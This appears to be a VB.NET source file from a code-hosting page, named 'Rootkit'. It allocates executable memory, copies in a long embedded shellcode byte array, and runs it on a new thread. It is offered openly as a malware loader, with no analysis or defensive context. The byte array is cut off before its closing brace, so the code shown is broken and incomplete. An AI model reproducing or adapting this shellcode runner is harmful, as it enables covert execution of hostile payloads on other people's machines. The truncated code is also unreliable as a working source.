Files

29 lines
46 KiB
VB.net
Raw Permalink Normal View History

2026-08-27 11:22:34 -06:00
Imports System
Imports System.Runtime.InteropServices
Namespace Rootkit
Public Class Rootkit
Public Shared Sub RunShellcode()
Dim intPtr As IntPtr = VirtualAlloc(IntPtr.Zero, CType((CULng(shellcode.Length)), UIntPtr), 4096, 64)
Dim flag As Boolean = intPtr = IntPtr.Zero
If flag Then
Throw New Exception("VirtualAlloc failed.")
End If
Marshal.Copy(shellcode, 0, intPtr, shellcode.Length)
Dim num As UInteger
Dim intPtr2 As IntPtr = CreateThread(IntPtr.Zero, 0UI, intPtr, IntPtr.Zero, 0UI, num)
Dim flag2 As Boolean = intPtr2 = IntPtr.Zero
If flag2 Then
Throw New Exception("CreateThread failed.")
End If
WaitForSingleObject(intPtr2, UInteger.MaxValue)
End Sub
Private Declare Function VirtualAlloc Lib "kernel32.dll" (lpAddress As IntPtr, dwSize As UIntPtr, flAllocationType As Integer, flProtect As Integer) As IntPtr
Private Declare Function CreateThread Lib "kernel32.dll" (lpThreadAttributes As IntPtr, dwStackSize As UInteger, lpStartAddress As IntPtr, lpParameter As IntPtr, dwCreationFlags As UInteger, ByRef lpThreadId As UInteger) As IntPtr
Private Declare Function WaitForSingleObject Lib "kernel32.dll" (hHandle As IntPtr, dwMilliseconds As UInteger) As UInteger
Private Shared shellcode As Byte() = New Byte() {232, 192, 121, 2, 0, 192, 121, 2, 0, 69, 86, 119, 183, 73, 246, 50, 30, 253, 88, 45, 3, 177, 204, 157, 220, 198, 23, 221, 66, 59, 141, 251, 100, 204, 249, 160, 159, 220, 51, 46, 122, 0, 0, 0, 0, 134, 149, 15, 239, 51, 110, 38, 126, 224, 119, 149, 164, 196, 35, 218, 248, 36, 99, 37, 156, 240, 215, 55, 140, 159, 187, 18, 103, 13, 27, 203, 72, 228, 232, 148, 114, 123, 199, 253, 232, 49, 177, 220, 61, 115, 227, 135, 122, 19, 187, 130, 28, 75, 87, 129, 110, 51, 112, 149, 15, 53, 169, 174, 142, 72, 71, 103, 254, 95, 107, 143, 133, 64, 151, 123, 199, 21, 245, 133, 222, 27, 42, 182, 240, 171, 70, 245, 91, 71, 75, 89, 76, 106, 93, 243, 79, 233, 70, 20, 72, 22, 27, 49, 191, 34, 53, 95, 10, 108, 118, 63, 146, 157, 87, 173, 72, 109, 172, 139, 230, 69, 6, 192, 130, 243, 103, 246, 33, 239, 50, 11, 186, 30, 78, 252, 18, 206, 109, 184, 120, 44, 172, 186, 153, 162, 170, 27, 249, 245, 62, 176, 212, 135, 220, 84, 176, 26, 122, 103, 70, 93, 233, 199, 209, 181, 238, 55, 38, 252, 0, 61, 162, 71, 103, 199, 136, 142, 123, 139, 23, 174, 182, 230, 159, 131, 87, 178, 53, 172, 26, 188, 48, 119, 117, 209, 55, 251, 17, 181, 180, 108, 172, 123, 117, 155, 244, 14, 84, 96, 208, 180, 62, 37, 220, 89, 170, 37, 135, 222, 128, 175, 131, 73, 204, 227, 141, 98, 211, 115, 3, 109, 53, 17, 173, 40, 65, 141, 129, 226, 68, 253, 206, 202, 143, 191, 110, 32, 250, 110, 120, 204, 27, 132, 123, 94, 71, 240, 236, 148, 244, 58, 92, 32, 153, 238, 180, 57, 99, 109, 151, 154, 91, 158, 41, 237, 120, 84, 30, 132, 224, 47, 100, 224, 230, 26, 171, 226, 56, 204, 238, 185, 153, 90, 109, 54, 178, 70, 137, 107, 185, 226, 102, 220, 154, 250, 75, 27, 129, 143, 5, 103, 67, 166, 98, 178, 167, 33, 71, 118, 88, 226, 173, 150, 71, 193, 57, 157, 123, 37, 104, 10, 240, 180, 55, 65, 102, 159, 48, 197, 2, 205, 213, 111, 205, 103, 103, 86, 168, 62, 148, 101, 220, 63, 119, 251, 17, 126, 168, 122, 168, 248, 176, 220, 61, 48, 158, 208, 199, 117, 37, 169, 179, 43, 58, 125, 97, 234, 90, 42, 21, 81, 102, 46, 32, 247, 36, 137, 154, 252, 240, 138, 79, 248, 100, 2, 119, 141, 75, 27, 248, 129, 150, 9, 9, 145, 136, 68, 93, 252, 0, 106, 106, 101, 61, 55, 56, 173, 38, 148, 70, 170, 150, 190, 139, 119, 34, 11, 232, 62, 207, 17, 70, 29, 92, 41, 80, 144, 23, 232, 172, 27, 46, 200, 118, 74, 70, 126, 40, 235, 24, 50, 128, 66, 169, 115, 185, 1, 146, Byte.MaxValue, 61, 195, 227, 13, 154, 210, 174, 234, 138, 254, 64, 96, 226, 212, 247, 165, 4, 16, 246, 76, 221, 242, 145, 238, 152, 153, 236, 129, 75, 9, 193, 160, 159, 202, 97, 227, 145, 249, 106, 233, 249, 76, 79, 46, 253, 6, 243, 206, 184, 58, 86, 190, 7, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 148, 54, 236, 230, 35, 199, 184, 137, 114, 25, 40, 72, 152, 70, 174, 230, 42, 162, 199, 135, 108, 102, 6, 71, 161, 58, 87, 13, 232, 195, 51, 166, 137, 74, 171, 238, 198, 115, 27, 142, 130, 254, 97, 96, 196, 221, 108, 14, 215, 109, 62, 120, 110, 134, 182, 32, 193, 245, 237, 84, 100, 198, 184, 47, 138, 162, 217, 159, 150, 140, 50, 140, 104, 87, 191, 239, 138, 232, 205, 27, 4, 150, 102, 247, 121, 53, 50, 110, 174, 170, 159, 128, 42, 142, 118, 58, 193, 194, 233, 196, 216, 211, 12, 197, 211, 224, 242, 141, 59, 57, 235, 98, 46, 189, 9, 236, 62, 184, 120, 199, 212, 138, 249, 12, 9, 64, 17, 33, 109, 154, 32, 33, 78, 214, 4, 166, 93, 246, 31, 254, 194, 224, 228, 220, 143, 2, 110, 145, 154, 30, 171, 113, 175, 241, 69, 110, 229, 152, 51, 83, 221, 69, 198, 54, 156, 224, 116, 203, 60, 236, 41, 28, 204, 217, 209, 133, 112, 205, 251, 67, 59, 41, 135, 78, 251, 45, 55, 232, 56, 107, 39, 10, 182, 128, 241, 182, 49, 44, 103, 159, 151, 165, 51, 235, 199, 47, 26, 253, 194, 119, 136, 123, 226, 111, 74, 67, 196, 253, 146, 5, 39, 209, 167, 55, 156, 18, 214, 72, 45, 66, 81, 248, 143, 144, 58, 135, 13, 195, 182, 15, 56, 74, 244, 136, 50, 15, 144, 76, 241, 110, 124, 72, 34, 165, 108, 246, 173, 47, 121, 16, 177, 214, 92, 206, 242, 7, 142, 105, 98, 139, 121, 84, 12, 18, 16, 217, 167, 2, 105, 193, 55, 152, 88, 76, 116, 49, 239, 204, 169, 99, 147, 160, 4, 233, 1, 30, 153, 19, 241, 39, 102, 70, 51, 10, 227, 187, 89, 104, 116, 247, 138
End Class
End Namespace